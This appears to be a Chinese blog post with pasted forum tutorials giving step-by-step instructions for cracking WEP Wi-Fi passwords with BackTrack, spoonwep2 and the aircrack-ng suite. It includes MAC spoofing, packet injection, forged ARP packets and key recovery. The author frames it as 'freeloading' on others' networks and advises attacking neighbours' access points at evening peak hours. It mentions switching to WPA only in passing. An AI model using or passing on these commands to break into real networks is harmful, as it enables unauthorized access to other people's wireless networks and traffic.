wep密码的xx不是一个新鲜事物了，实际从年前开始就已经有所研究，限于当时设备条件及BT系列系统的不成熟，一直没有办法动手实践。随着女友宽 带到 期日的临近及越来越严重的经济危机影响。遂动手开始了“蹭网”的实战。原想这种不光彩的勾当用私有博客写，后想反正也是匿名的，就不要脸一回了。就当是为 推广网络安全知识了，各位回家可以把无线路由的加密方式改为wpa以防范风险。
1,利用linux系统u盘写入工具把bt4的iso文件写入到u盘中，然后替换model夹子里面的一些lzm文件，使其汉化
ps：这个工具的名字是UNetbootin。是windows下使用的工具专门把用来把linux安装镜像安装到硬盘或u盘上。下载地址是 http://unetbootin.sourceforge.net/
2，重新启动改为u盘启动，菜单选{dy}个，用户名root 密码 toor
3，输入命令startx 进入桌面环境
4，因为兼容问题spoonweb2不能显示2200的网卡，输入以下命令解决
ln -fs bash /bin/sh；再输入：ls -al /bin/sh （这个命令可以显示是否设置成功，显示bash为成功,dash为失败）
5，在命令行输入spoonwep进入。
6，进入spoonwep后，选择eth1即第二块网卡（2200bg无线网卡）如不确定哪个是无线网卡，可以用ifconfig -a命令查看所有网卡。第二个选项选择normal，第三个选择不确定的路由。
7，确定后进入下一页签，左上角有两个选项，分别代表不确定的频道和确定频道，这里指要搜索的ap的所在频道，我要xx的是6，所以选择固定频道， 然后后面选择6.
8，点搜索按钮后，稍等片刻，后面即会出现ap的列表，clis打钩的ap代表有活动客户端可以采集xx数据的。选择这个ap后，在下面的活动客户 端中选择一个包比较多的。】
9，点xx按钮开始xx，但是2200bg和其他一些网卡这时不会采集数据，必须点一下abort取消按钮，然后再点xx按钮。这样数据就开始采集 了。剩下的就是等了。
10，数据采集到大概10000以上ivs以后，基本就出现key found了。
11，key是16进制的形式显示的，要用小工具将16进制转为阿斯科码。如33转换为3. 到这里就全部完成了。
ps：以上教程仅适合ap上有活动的客户端时进行xx，如何判断有无客户端连接可参照第8点。
如果是在自己的ap上测试，请使用两台笔记本，一台正常连接ap进行下载，模拟客户端。另一台运行bt4进行xx。如果是周围其他人的ap则{zh0}在 晚上8，9点有人使用上网时进行。
----------------------------------------------------------参考资料 --------------------------------------------------
----------------------------------------------以下内容为参考资料，因2200对无客户端注入攻 击的支持不太很好，以下的参考内容可能是在bt3测试版下操作。如不是必须请按正文的有客户端方式xx -------------------------------------------------------------------------------------------------------------------------
Intel 5100网卡BT4xxWEP密码经验分享
我本本的网卡是Intel 5100的，Widows下的软件几乎用不了，令人烦的是BT3也认别不了。还好现在出的BT4能认别我的网卡。
作为一个菜鸟的我，现在还不喜欢输入老长的代码，用了spoonwep2。我用的是光盘启动，我先用UltraISO把spoonwep2放在 BT4\modules\下，然后刻盘。
开机启动进按F12进入光盘启动，用户名root;密码toor(这个不会显示）；然后startx进入图形界面。
先开一个shell，输入ifconfig -a会发现wlan0的网卡，就是我的5100网卡了。由于BT4与spoonwep还有一些兼容的问题，直接开spoonwep是不会发现我的网卡的。 这时候，要输入ln -fs bash /bin/sh；再输入：ls -al /bin/sh （这个命令可以显示是否设置成功，显示bash为成功,dash为失败）。打开spoonwep2，里面可以找到网卡了。先选wlan0进入搜索，但这时 不会搜出来什么，我也不知道怎么回事。需要关一下spoonwep2再开一下，这时网卡项里有一个mon0的，选这个就可以完成xx了。
按述方法选好网卡，搜索，找一个data跑的比较快的AP，选择，再选Fragment攻击，点开始，就开始等了。还好，我{dy}个试的，IVS包跑得很 快，估计在下东西。大概过了3min有40000多个IVS，破出来了，是一个128bit的WEP密码。
由于是光盘下启动，没有图，不好意思。
本贴来自天极网群乐社区--http://q.yesky.com/group/review-17795419.html
四、输入airmon-ng start eth1 8 开启网卡的Monitor模式并工作在8频道（因为AP工作在8频道，可提前用airodump-ng eth1查看下AP的工作频道）
五、由于使用的是BT3的测试版，2200BG无线网卡需要打补丁，输入
modprobe ipw2200 rtap-iface=1
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
2200BG无线网卡补丁打好了
----------------------------------------------------------------------------------------
使用2200BG无线网卡xx无客户端AP的wep密码教程
一、准备环境：DELL510M笔记本，自带INTEL2200BG网卡，BT3 beta硬盘版。
二、启动BT3，输入root/toor进行，再输入xconf/startx进入图行界面。
三、打开一个shell窗口，输入ifconfig -a查看自己的网卡情况，从显示来看自己的网卡接口型号为eth1
四、输入airmon-ng start eth1 8 开启网卡的Monitor模式并工作在8频道（因为AP工作在8频道，可提前用airodump-ng eth1查看下AP的工作频道）
五、由于使用的是BT3的测试版，2200BG无线网卡需要打补丁，输入
modprobe ipw2200 rtap-iface=1
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
2200BG无线网卡补丁打好了
六、修改自己的网卡MAC，为了以后输入方便。输入macchanger -m 00:11:22:33:44:55 eth1回车，后又输入了一次ifconfig -a 查看了下网卡
MAC已经更改为00：11：22：33：44：55。（也可以输入ifconfig eth1 up hw ether 00:11:22:33:44:55来修改自己的网卡mac）
七、输入airodump-ng --ivs -w name（自己随便起个名字） -c 8 eth1，开始查看AP的活动情况
这个命令比较关键，你运行以后，就会列出所有该频道的AP。
其中，6 是指你需要监控的频道，必须和第二个命令里的一样， ath1是刚才第二步出现的别名。
这个命令运行以后，显示的内容比较多，简单介绍一下：
BSSID : 其实就是AP的Mac 地址
PWR： AP信号的大小，一般，低于10，就比较麻烦了，丢包情况严重，比较难xx
RXQ： 干扰的大小
Beacons：发送接受的包，参考信息，在跳说明有数据
#Data：这个比较重要，是接受到可以用来xx的特殊包，如果一直不变，那么，说明没有客户端连接，xx可能很麻烦，如果对方有大文件在下载，那么这个跳的速度非常快，10来分钟就可以有足够的包来xx了，如果跳得很慢，那么，就需要用一些特殊的方式来破 解了。
CH：频道
MB：网络连接速度 54就是54MB
ENC， CIPHER，AUTH
这些是加密方式，我们这次只讨论显示为 WEP 和 WEP+ OPN的
如果显示 WPA TKIP 啥的，只能密码穷举xx，个人认为希望不大。
ESSID： 这个是AP的名字，需要用到的。如果是中文貌似会出问题。因此为了阻挡别人xx，可以用中文的ESSID
八、由于AP没有合法的客户端，而且2200也不支持-1的虚拟连接，因此按照中卫的教程使用了-4命令。
输入aireplay-ng -4 -b AP的mac -h 001122334455 eth1,系统回显use this packet?时输入y回车，开始注入
这一条命令，是用欺骗的方式，连接上那个AP，因此，如果网络信号不好，可能会执行不成功。
如果成功了，那么会显示Successful :> 字样。否则，请让信号强度大于10。
九、一段时间后得到重要的*.xor文件
十、使用packetforge-ng命令提取xor文件里的prga并伪造arp包，输入packetforge-ng -0 -a AP的mac -h 001122334455 -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w myrap（这里自己起个名字，我起的名字为myarp）回车，系统回显worte packet to:myarp
十一、使用-2命令开始攻击，data开始猛涨，输入命令：aireplay-ng -2 -r myrap eth1 （这里的myarp就是前面自己起的名字），系统回显：use this packet?输入y回车，data开始猛涨。
十二、当data到30000条后开始使用aircrack-ng -n 64 123456-01.ivs攻击，结果由于笔记本内存不够，花屏了，需提前将得到的*.ivs文件备份到了硬盘。所以从新启动bt3后，将硬盘的ivs文 件复制到root下后，返回命令行界面直接使用aircrack命令开始xx，并顺利拿到了密 码，因为是命令行模式，就没有办法截图了。（这里提供给一些内存小的笔记本一用aircrack 就花屏的方法，当有足够多的data 时，可以直接按ctrl+alt+f1（f1到f5中随便一个），可以直接退到命令行模式，输root/toor后直接在命令行模式下用aircrack命令xx吧，这样不会再画屏了）。
另外忘记备注一条，前面在输入airodump-ng --ivs -w name -c 8 eth1这里的name我输入的是123456，这样回在root文件夹下生成一个123456-01.ivs的文件，也就是{zh1}用aircrackxx 的文件。不知道名字的可以在xx前用ls命令查看下，就会得到他的全名或直接就输入*.ivs。
运行以后，如果运气好，一会儿就会显示xx出来的密码，同时会显示对应的Assic码，如果不是标准Assic码，就是一串数字，记录下来。至此我们成功 使用2200BG无线网卡xx无客户端AP的wep密码。
cisco juniper技术群
